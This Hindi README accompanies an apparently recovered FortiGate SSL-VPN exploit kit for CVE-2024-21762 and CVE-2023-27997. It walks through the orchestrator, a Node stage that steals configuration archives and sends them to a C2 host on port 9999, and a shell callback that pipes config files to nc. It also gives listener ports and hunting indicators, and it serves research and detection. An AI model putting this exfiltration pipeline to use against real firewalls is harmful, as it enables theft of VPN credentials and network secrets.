फोर्टीगेट SSL-VPN की सोने की खान। CVE-2024-21762 और CVE-2023-27997। 79 कार्यशील एक्सप्लॉइट क्लाइंट। 53 हार्डवेयर SKU। 55 फोर्टीओएस बिल्ड।
शोध संग्रह। जैसा मिला वैसा ही पुनर्प्राप्त किया गया। मैंने ये फ़ाइलें नहीं लिखीं।
जारी किया गया: 1 सितंबर 2026
यह रिपॉज़िटरी ऑर्केस्ट्रेटर, दूसरे-चरण के पेलोड, और ऑपरेटर लिसनर है जो प्रति-SKU FortiGate SSL-VPN एक्सप्लॉइट कैटलॉग के ऊपर बैठते हैं। विस्तृत कहानी, गणना, और हंटिंग नोट्स Abraxas Labs पर श्रृंखला The SSL-VPN pot of gold में हैं।
इस सामग्री को किसी भी होस्ट के विरुद्ध न चलाएं जब तक कि आपके पास इस रिपॉज़िटरी को होस्ट करने वाले पक्ष और लक्षित सिस्टम के मालिक दोनों से स्पष्ट लिखित अनुमति न हो। संबंधित CVE इस रिलीज़ से पहले सार्वजनिक और पैच किए गए थे। यह ट्री शोध, पहचान और ऐतिहासिक विश्लेषण के लिए है।
मुझे जंगल में एक निजी FortiGate SSL-VPN किट मिली। पहली ड्रॉप कार्यशील क्लाइंट्स की एक निर्देशिका थी: exp/exp_60E-v6.4.7.py और जैसे नाम। प्रत्येक फ़ाइल एक मेमोरी-करप्शन क्लाइंट है। दो सार्वजनिक n-days, हार्डवेयर और फ़र्मवेयर में पुनः-स्टैम्प किए गए, जब तक फ़ोल्डर एक पार्ट्स कैटलॉग जैसा नहीं दिखने लगा।
सोना ऑफ़सेट मैट्रिक्स है, कोई नया बग नहीं। वह तर्क श्रृंखला के Phase 0 में है। Phase 1 दो प्रिमिटिव्स को व्यवहार के रूप में कवर करता है। Phase 2 खोजने योग्य SKU / ट्रेन / CPU मैप है। Phase 3 हंटिंग है।
यह रिपॉज़िटरी उसी किट का बाकी हिस्सा है, कोई दूसरा एक्सप्लॉइट परिवार नहीं।
exp/ प्रोग्राम वे प्रति-इमेज क्लाइंट हैं जिनका श्रृंखला में पहले ही वर्णन किया जा चुका है।shellcode/ फ़ाइलें लॉन्चर, इम्प्लांट फ़ेच, और कॉन्फ़िग-चोरी लिसनर हैं जिन्हें वे क्लाइंट कॉल करने के लिए लिखे गए थे।exp_*.py फ़ाइलों में कभी इम्प्लांट नहीं था। वे केवल (1) "शेलकोड सर्वर" से रॉ बाइट्स खींचना या (2) GET /s.js और eval करना जानते थे। वे लापता टुकड़े यहाँ हैं।प्रिमिटिव्स:
| परिवार | CVE | Fortinet सलाह | सार्वजनिक रंग |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
दोनों CISA के Known Exploited Vulnerabilities कैटलॉग में हैं। poc.py किसी भी CVE को लागू नहीं करता। यह पहले से वर्गीकृत दो परिवारों का चयन और रैप करता है (chunked-write 21762; enc= हीप ओवरफ्लो 27997)।
.
├── poc.py # pocsuite3 लॉन्चर / फ़िंगरप्रिंट / प्रोसेस मैनेजर
├── s.js # Node दूसरा चरण (कॉन्फ़िग चोर)
├── send_cmd.py # स्टेगर पथ के लिए कॉलबैक हैंडलर
├── init.sh # ऑपरेटर वर्कस्टेशन पैकेज इंस्टॉल
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # लंबाई-उपसर्ग ब्लॉब पंप
├── shellcode_arm # ~2.0 MB रॉ दूसरा चरण
└── shellcode_amd64 # ~2.7 MB रॉ दूसरा चरण
exp/index.html और shellcode/index.html सामान्य Python http.server डायरेक्टरी लिस्टिंग हैं। वे केवल दिखाते हैं कि यह ट्री किसी समय वेब रूट के रूप में होस्ट किया गया था।
exp/ की यह प्रति पहले का कैटलॉग है और इसमें चार अतिरिक्त क्लाइंट हैं: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py।
poc.py ऑर्केस्ट्रेटर (pocsuite3)
│
├─ फ़िंगरप्रिंट पोर्टल ─────── VERSION_LIBS (हैश → SKU + FortiOS)
├─ फ़ाइल चुनें ──────────────── exp/exp_<SKU>-v<ver>.py
│
├─ यदि क्लाइंट "स्टेगर" प्रकार का है (Family A ARM / कुछ amd64)
│ shellcode/shellcode_server.py शुरू करें
│ shellcode/shellcode_arm या shellcode_amd64 पढ़ता है
│ send_cmd.py शुरू करें (कॉलबैक की प्रतीक्षा करें)
│ :9999 पर कॉन्फ़िग रिसीवर शुरू करें
│ चयनित exp_*.py चलाएं
│
└─ यदि क्लाइंट "Node /s.js" प्रकार का है (अधिकांश Family B + कई Family A)
HTTP पर s.js परोसें
:9999 पर कॉन्फ़िग रिसीवर शुरू करें
चयनित exp_*.py चलाएं
→ फ़ायरवॉल GET /s.js → eval → एक्सफ़िल
एक पंक्ति में पाइपलाइन: पहचानें → ऑफ़सेट फ़ाइल चुनें → sslvpnd को करप्ट करें → इम्प्लांट खींचें → /data/config/*.gz एक्सफ़िल करें → ऑपरेटर पक्ष पर संग्रह करें।
वह अंतिम चरण ही मुद्दा है। एक हिट फ़ायरवॉल पर ही sslvpnd में अप्रमाणित कोड निष्पादन है — TLS टर्मिनेटर, रूटिंग पॉलिसी, VPN सत्र, अक्सर LDAP/RADIUS बाइंडिंग। FortiOS एक उपयोगी /bin/sh प्रदान नहीं करता। सार्वजनिक शोध और यह किट दोनों एक आंतरिक कमांड हेल्पर और/या /bin/node के माध्यम से जाते हैं, जो FortiOS वास्तव में शिप करता है। एक पुष्ट हिट को नेटवर्क एज का समझौता मानें, न कि एक क्रैश हुआ डेमॉन। देखें What a hit means।
poc.py — लॉन्चरऑपरेटर फ्रंट एंड (pocsuite3 POCBase)। यह CVE-2024-21762 या CVE-2023-27997 को लागू नहीं करता।
https://<target>/remote/login?lang=en प्राप्त करता है (फ़ॉलबैक GB2312)।/sslvpn/js/login.js?q=<md5> से कैश-बस्टर हैश खींचता है।VERSION_LIBS (182 hash,SKU,version पंक्तियाँ) में देखता है। वह तालिका ही कारण है कि किट ऑपरेटर द्वारा SKU नाम दिए बिना 50+ उपकरणों में चयन कर सकती है। मैट्रिक्स के समान SKU, SNMP या प्रबंधन API के बजाय एक सार्वजनिक SSL-VPN संसाधन हैश द्वारा संचालित।exp/exp_<SKU>-v<version>.py को हल करता है।s.js शामिल है → प्रकार 2 (Node लोडर)Shellcode Server का उल्लेख है → प्रकार 1 (स्टेगर); फिर स्क्रिप्ट में arm बनाम amd64 देखता हैexp_*.py को होस्ट/पोर्ट/कॉलबैक तर्कों के साथ Popen करता है।इस प्रति में डिफ़ॉल्ट ऑपरेटर पता: पर्यावरण से HOST_IP, अन्यथा ATTACKER_HOST। इस ट्री में शाब्दिक IPv4 पतों को भूमिका लेबल से बदल दिया गया है (पोर्ट अपरिवर्तित):
| लेबल | भूमिका | यह कहाँ दिखाई दिया |
|---|---|---|
TARGET_HOST | हमले के अधीन FortiGate | कभी हार्डकोडेड नहीं; argv से rhost / target (देखें poc.py) |
ATTACKER_HOST | ऑपरेटर वर्कस्टेशन | poc.py में डिफ़ॉल्ट HOST_IP; poc.py, send_cmd.py, shellcode/shellcode_server.py में बाइंड पते; exp_*.py s.js / TFTP प्लेसहोल्डर जो lhost से भरे जाते हैं |
C2_HOST | इस प्रति के इम्प्लांट में बेक्ड कॉलबैक | s.js — एक्सप्लॉइट में पास किया गया lhost नहीं |
| पोर्ट | भूमिका |
|---|---|
| 7777 | कॉलबैक / send_cmd.py |
| 8888 | शेलकोड सर्वर |
| 9999 | कॉन्फ़िग रिसीवर (s.js और send_cmd.py एक्सफ़िल से मेल खाता है) |
यदि पोर्टल हैश VERSION_LIBS में गायब है, तो यह "unknown target hash" के साथ रुक जाता है। यदि हैश मेल खाता है लेकिन exp/ फ़ाइल अनुपस्थित है, तो "no exp"।
s.js — लापता Node दूसरा चरणयह वह फ़ाइल है जिसे Family B / Node Family A क्लाइंट execute_cmd के बाद प्राप्त करते हैं। यह सामान्य रिवर्स शेल नहीं है।
C2_HOST:9999 (C2 होस्ट, TARGET_HOST नहीं और एक्सप्लॉइट में पास किया गया lhost / ATTACKER_HOST नहीं — यह प्रति एक ऑपरेटर कॉलबैक के लिए बेक की गई थी)।/data/config/ पढ़ता है।*.gz फ़ाइलें लेता है (FortiOS संपीड़ित कॉन्फ़िग ऑब्जेक्ट)।वह एक कॉन्फ़िगरेशन चोर है। यह बताता है कि poc.py भी 9999 पर क्यों सुनता है और फ़ाइलों को base64 परिणाम में पुनः जोड़ता है। किसी भी FortiGate ईग्रेस से पोर्ट 9999 पर C2_HOST खोजें। हंटिंग नोट्स: Phase 3।
send_cmd.py — स्टेगर पथ के लिए कॉलबैक हैंडलरतब उपयोग किया जाता है जब चयनित exp_*.py ARM/amd64 शेलकोड प्रकार का होता है (उपयोग में शेलकोड सर्वर शामिल है)।
cd /data/config और प्रत्येक *.gz को nc <LHOST> 9999 पर cat करता है।s.js के समान लक्ष्य (कॉन्फ़िग चोरी), अलग ट्रांसपोर्ट (शेल कॉलबैक बनाम Node)।एक टिप्पणी-आउट वैरिएंट ने रॉ cat के बजाय base64 फ़्रेमिंग का उपयोग किया।
shellcode/shellcode_server.py — Family A स्टेगर्स के लिए बाइट पंपARM32 exp_*.py स्टब्स में पहले से दिखाई देने वाले प्रोटोकॉल से मेल खाता है:
poc.py 8888 का उपयोग करता है)।shellcode_<arch> भेजें।exp_*.py स्टेगर्स यहाँ कनेक्ट होते हैं, राइटेबल-एक्ज़ीक्यूटेबल मेमोरी मैप करते हैं, ब्लॉब खींचते हैं, फिर lhost:lport (7777 → send_cmd.py) पर वापस कनेक्ट करते हैं।
रॉ दूसरे-चरण के ब्लॉब (~2.0 MB ARM, ~2.7 MB amd64)। स्टेगर इन्हें डाउनलोड करता है। ये Python फ़ाइलों के अंदर छोटे Thumb स्टब नहीं हैं; वे स्टब केवल इन फ़ाइलों को प्राप्त करते हैं। इन्हें गैर-Node पथ के लिए इम्प्लांट मानें। आकार पैक या स्टैटिक पेलोड का सुझाव देता है, कुछ दर्जन निर्देशों का नहीं।
init.sh — ऑपरेटर वर्कस्टेशन सेटअपफ़ायरवॉल के विरुद्ध उपयोग नहीं किया जाता। build-essential, binutils-arm-linux-gnueabihf, और gcc-aarch64-linux-gnu इंस्टॉल करता है। यह Debian-जैसे अटैक बॉक्स पर ARM/AArch64 टुकड़ों को बनाने के लिए है। एक लेखक के अनुरूप जो केवल Python शिप करने के बजाय स्टेगर्स संकलित करता है।
एक पंक्ति: pwntools। exp_*.py फ़ाइलें और shellcode_server.py इसे इम्पोर्ट करते हैं। poc.py भी pocsuite3, python-dotenv, mmh3, और requests चाहता है।
exp/ क्लाइंट्स से संबंध| श्रृंखला में पहले से वर्णित | इस ट्री में भूमिका |
|---|---|
Family A ARM exp_*.py (स्टेगर तर्क) | पहला चरण। shellcode_server.py + shellcode_arm (या amd64) कॉल करता है, फिर lhost:7777। |
Family A/B Node exp_*.py (/s.js) | पहला चरण। पैरेंट s.js का HTTP GET, फिर eval। |
6.0 D-सीरीज़ TFTP / /tmp/s वैरिएंट | TFTP के माध्यम से समान s.js लक्ष्य; फिर भी इस फ़ाइल को ऑपरेटर HTTP रूट पर अपेक्षा करता है। |
पैरेंट डायरेक्टरी में कुछ भी तीसरा CVE लागू नहीं करता। गणना, SKU हीटमैप, और ट्रेन संरेखण (Family A 7.4.0 / 7.4.1 तक; Family B 27997 विंडो के अंदर) Phase 0 और Phase 2 में हैं। मूल कैटलॉग में सबसे भारी रीटार्गेटिंग: FortiGate-60E, 100E, 60F, 100F — ब्रांच-ऑफिस हार्डवेयर।
पहली ड्रॉप "कॉलबैक प्राप्त करें" पर रुक गई। दूसरे-चरण के निकाय गायब थे। यह ट्री उद्देश्य को स्पष्ट करता है:
/data/config/*.gz से, "सामान्य RCE" नहीं। यह क्रेडेंशियल और टोपोलॉजी समझौता है (VPN उपयोगकर्ता, रूट, उन ऑब्जेक्ट्स में संग्रहीत रहस्य)।poc.py में VERSION_LIBS एक तैयार "उन्होंने सोचा कि यह हैश किस SKU का था" सूची है।पोर्टल रिकॉन और पहले-चरण के URI Hunting the kit में प्रलेखित हैं। सार्वजनिक राइट-अप और इस ट्री में पहले से बताए गए विशिष्ट:
GET /remote/login और /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate enc= के साथGET /s.jss.js की इस प्रति के अंदर बेक्ड C2 C2_HOST:9999 (C2 होस्ट)ATTACKER_HOST पोर्ट 7777 / 8888 / 9999 पर ऑपरेटर लिसनर (अटैकर होस्ट)TARGET_HOST रन-टाइम पर आपूर्ति किया गया rhost हैफ़ायरवॉल (TARGET_HOST) से C2_HOST:9999 तक और किसी भी ATTACKER_HOST तक ईग्रेस खोजें जिसने प्रासंगिक विंडो के दौरान /s.js परोसा।
परिचय से:
VM के विरुद्ध एक सार्वजनिक PoC एक अलग आर्टिफैक्ट है। यह पैक उनके लिए है जिन्होंने रिकॉन का उत्तर दिया।
यदि आप FortiGates चलाते हैं: मॉडल, सटीक FortiOS, SSL-VPN चालू या बंद, क्या पोर्टल अविश्वसनीय नेटवर्क से पहुंच योग्य था, की सूची बनाएं। फिर Phase 2 पढ़ें। केवल 60-सीरीज़ ब्रांच बॉक्स की सूची न बनाएं क्योंकि वे फ़ाइलनाम सबसे ज़ोरदार थे।
ये फ़ाइलें स्वतंत्र सुरक्षा शोध के दौरान जंगल में पुनर्प्राप्त की गईं। मैंने इन्हें नहीं बनाया। संबंधित CVE सार्वजनिक रूप से प्रकट और पैच किए जाने के बाद, ये जैसी मिलीं वैसी ही जारी की गई हैं।
केवल शोध / शैक्षिक उपयोग। इस सामग्री को किसी भी होस्ट के विरुद्ध न चलाएं, तैनात न करें, या उपयोग न करें जब तक कि आपके पास इस रिपॉज़िटरी को होस्ट करने वाले पक्ष और लक्षित सिस्टम के मालिक दोनों से स्पष्ट लिखित अनुमति न हो।